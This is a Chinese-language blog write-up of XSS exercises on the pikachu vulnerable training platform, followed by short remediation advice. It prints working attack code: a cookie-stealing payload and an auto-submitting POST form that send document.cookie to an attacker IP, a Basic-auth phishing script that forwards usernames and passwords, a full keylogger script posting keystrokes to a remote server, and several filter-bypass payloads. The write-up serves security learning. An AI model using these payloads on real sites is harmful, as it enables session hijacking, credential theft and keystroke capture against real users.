XSS漏洞在pikachu平台上的练习
发布于 2021-10-17 21:18
PIKACHU:
反射型XSS(GET):
先输入一些特殊字符,判断是否被过滤了。发现原样输出,并没有被过滤掉。
查看源码:
试一试js代码,发现会限制输入字数,在前端更改字符长度:
输入:<script>alert(/XSS/)</script>
查看源代码:(发现输入的<script>标签被嵌入进去,作为前端代码输入了,从而被浏览器正确执行弹窗。)
利用GET型XSS:
http://localhost:8888/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&submit=submit
上面的链接是输入<script>弹窗的链接,重新打开一个页面,粘贴这段代码,就可以看到弹窗,从而利用GET型的XSS漏洞。
反射型XSS(POST):
get和post的区别:
get是以url方式提交数据;post是以表单方式在请求体里面提交。
get方式更容易被利用,直接发送带有跨站脚本的url伪装后发给目标。
post方式无法直接利用url进行攻击。
具体的利用post型的xss进行攻击的方式在下面xss漏洞利用中有所体现。
存储型XSS:
可以看到,不管怎么刷新,留言板提交的内容都会在页面上显示,是永久存在的。
输入一些特殊字符试一下:(可以看到特殊字符也没有经过过滤和转义的处理)
构造payload:<script>alert(XSS)</script>,成功弹窗,而且每次都会弹窗。
DOM型XSS:
输入111的结果:
查看源代码:
从源代码可以看到,通过document.getElementById()获取到input中的值,然后拼接到<a>标签中,页面可以输出一个链接。what are you see?点进去就是输入的东西。
开始构造payload。
<a href='"+str+"'>what do you see?</a>
“+str+”是我们可以控制的内容。替换掉它,构造闭合。
<a href=' # ’ onclick=”alert(111)”> '>what do you see?</a>
输入:#' onclick="alert(111)">
弹窗成功。
DOM型XSS-X:
继续构造payload。
<a href='"+xss+"'>就让往事都随风,都随风吧</a>
<a href=' # ‘ onclick =”alert(111)”> '>就让往事都随风,都随风吧</a>
弹窗成功。
直接把上面弹窗的网址复制,重新打开一个网页,粘贴网址,也可以弹窗。
XSS漏洞利用:
1. cookie获取
GET型XSS漏洞利用:
基本原理:
攻击者发现存在xss漏洞的站点,向站点注入xss代码,即带有恶意js的脚本,用户访问站点之后,会触发这个脚本,服务器向用户返回这个恶意脚本,然后窃取用户cookie返回给攻击者后台。
操作方法:
pikachu里自带了一个pkxss的目录,可以单独作为后台使用。
我当时的攻击虚拟机IP地址:192.168.31.212
将这个目录放在phpstudy下面。
后台首页:
cookie.php源代码:
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){ //get方式获取cookie
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
// 插入数据库中
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站
?>
构造payload:
<script>document.location=’http://192.168.31.212:8888/pkxss/xcookie/cookie.php?cookie=’+document.cookie;</script>
虽然没有正常跳转到这个页面,是因为配置文件ip地址忘记改了。不过也算是进入了攻击者构造的页面了。
不影响获取cookie。刷新攻击者后台:
POST型XSS漏洞利用:
漏洞原理:
攻击者搭建站点如下:post.html:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
//在表单中,value的值就是恶意代码,带上本地cookie访问XSS后台。
<form method="post" action="http://localhost:8888/pikachu-master/vul/xss/xss.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.31.212:8888/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
模拟恶意的站点:http://192.168.31.212:8888/post.html
直接跳转到了form表单的action中,这是攻击者构造的一个糊弄受害者的网站,让受害者对自己被攻击毫不知情。在返回这个网站的过程中,其实在后台已经把用户的cookie值带到form表单中input的value中传给攻击者后台了,像上述GET型的攻击一样,刷新攻击者的后台就可以看到已经成功获取到cookie了。
2. XSS钓鱼攻击:
漏洞原理;
攻击者构造“鱼饵”,也就是一个用户身份认证的弹窗,然后账号密码就会发送到pkxss后台。
查看钓鱼页面fish.php:
<?php
error_reporting(0);
// var_dump($_SERVER);
//获取账号和密码,如果没有,就获取三个头部
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//如果获取到对应的用户名和密码之后,将结果发送给搜集信息的后台,将账号和密码通过重定向的方式返回到xss后台
header("Location: http://192.168.31.212:8888/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
xfish.php就是一个接口,代码如下:作用就是将获取到的用户名密码和referer存在攻击者后台的数据库中:
<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(!empty($_GET['username']) && !empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password'];
$referer="";
$referer.=$_SERVER['HTTP_REFERER'];
$time=date('Y-m-d g:i:s');
$query="insert fish(time,username,password,referer)
values('$time','$username','$password','$referer')";
$result=mysqli_query($link, $query);}?>
payload:
<script src=”http://192.168.31.212:8888/pkxss/xfish/fish.php”></script>
会弹窗:
XSS后台:
用户在弹窗中输入用户名和密码,提交之后,刷新XSS后台就可以看到有记录的数据了。
3. xss漏洞记录键盘操作
补充基本概念:
http://www.xyz.com:8080/script/test.js
http:协议
www:子域名
xyz.com:主域名
8080:端口
... :资源地址
跨域:当协议、主机(主域名和子域名)、端口中的任意一个不相同时,称为不同域。
不同域之间请求数据的操作就是跨域操作。
为安全考虑,所有的浏览器都约定了同源策略,就是两个不同域名之间不能使用js进行相互操作。
下面的这些标签跨域加载资源不受同源策略限制。
<script src=”...”>//js,加载到本地执行
<img src=>//图片
<link herf=...>//CSS
<iframe src=...>//任意资源
使用pkxss演示:
rkserver.php
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//设置允许被跨域访问(攻击者后台的文件)
header("Access-Control-Allow-Origin:*");
//存到数据库中
$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);
?>
rk.js(恶意js代码:获取用户键盘输入,再异步发给后台)
function createAjax(){
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}
}else if(window.ActiveXObject){
var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++){
try{
request=new ActiveXObject(versions[i]);
if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
}
var ajax=null;
var xl="datax=";
function onkeypress() {
var realkey = String.fromCharCode(event.keyCode); //获取keyCode转化成字符串再赋值给realkey
xl+=realkey;
show();
}
document.onkeypress = onkeypress;
function show() {
ajax = createAjax();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var data = ajax.responseText;
} else {
alert("页面请求失败");
}
}
}
var postdate = xl;
ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true);
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);
}
下面打开虚拟机的pikachu中的存储型XSS页面,再页面中输入如下payload:
<script src="http://localhost:8888/pkxss/rkeypress/rk.js"></script>
之后打开控制台,再在输入框里输入一些字符,发现控制台都拒绝了:
重新打开这个页面,在留言板里输入字符,发现下面网络中都可以抓取到。
打开攻击者后台,发现拿到了键盘记录的结果。
4. XSS盲打
在前端数据交互的地方输入字符并不在前端显示,无法判断是否存在XSS。
管理员的页面会显示前端输入的内容,包括js代码。
模拟管理员进入登录查看后台:(实质还是存储型xss)
XSS绕过
1、前端绕过,直接抓包重放,或者修改前端代码(安全措施不要在前端上面做)。
2、大小写绕过:(正则匹配区分大小写,或者查找字符替代)
<SCRIPT>aLeRT(111)</sCRIpt>
3、拼凑:<scri<script>pt>alert(111)</scri</script>pt>
4、注释干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->pt>ript>
5、编码:后台过滤了特殊字符,但该标签可以被各种编码,后台不一定会过滤。而浏览器对编码进行正常识别的时候,会翻译成正常的标签。
举例;
<img src=1 onerror=”alert(‘xss’)”> //后台对alert(‘xss’)进行了过滤
可以把alert(‘xss’)进行html编码
a,l,e......
pikachu---XSS之过滤演示
输入<script>;”6666
查看源码:
发现过滤了<script>标签。
尝试大小写混合绕过:(成功)
<ScRiPT>alert(111)</ScRiPT>
使用其他标签过滤:<img src=x onerror="alert(111)" />
XSS绕过---htmlspecialchars()函数:
htmlspecialchars()函数:把预定的字符转换为html实体。
预定的字符:
² &(和好)和&
² “(双引号)和"
² ‘(单引号)和'
² <(小于号)和<
² >(大于号)和>
使用:$ok=htmlspecialchars($GET[‘message’])
上面的使用没有加任何类型,就是默认类型,不编码单引号。
ENT_COMPAT---默认。
ENT_QUOTES---编码双引号和单引号。
ENT_NOQUOTES---不编码任何引号。
pikachu演示:
输入特殊字符:11111<>;'"
查看源代码:发现除了单引号之外的其他字符都被编码为实体。
构造闭合 :
q’ onclick=’alert(11111)’ (单引号仍然生效)
XSS之herf输出
php源代码:
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p>我靠,我真想不到你是这样的一个人</p>";
}else {
//输出在a标签的href属性里面,可以使用javascript协议来执行js
//防御:只允许http,https,其次在进行htmlspecialchars处理
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
}
//输出在a标签的href属性里面,可以使用javascript协议来执行js
输入:javascript:alert(111)
查看源代码:
针对这种问题做防御:herf超链接中只允许http或者https输出。其次再进行htmlspecialchars函数处理。
XSS之js输出
输入11111提交,查看源代码:
将输入放到js里面,再判断输出。
构造闭合:
<script>
$ms='x’</script><script>alert(‘xss’)</script>';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
原理:通过用户输入,动态生成js的代码,js里面不会对tag和字符实体进行解释。
防御:如果进行html的实体编码,虽然可以解决xss的问题,但是实体编码的内容在js里面不会进行翻译,会导致前端的功能无法使用。所以在JS的输出点应该使用\对特殊字符进行转义
修复建议(防范措施):
XSS漏洞涉及输入和输出两个部分,所以其修复也分两个部分。
(输入做过滤,输出做转义)
1、过滤输入的数据,包括’,”,<,>,on等非法字符;根据业务需求进行过滤;
2、对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JS编码等。
本文来自网络或网友投稿,如有侵犯您的权益,请发邮件至:aisoutu@outlook.com 我们将第一时间删除。
相关素材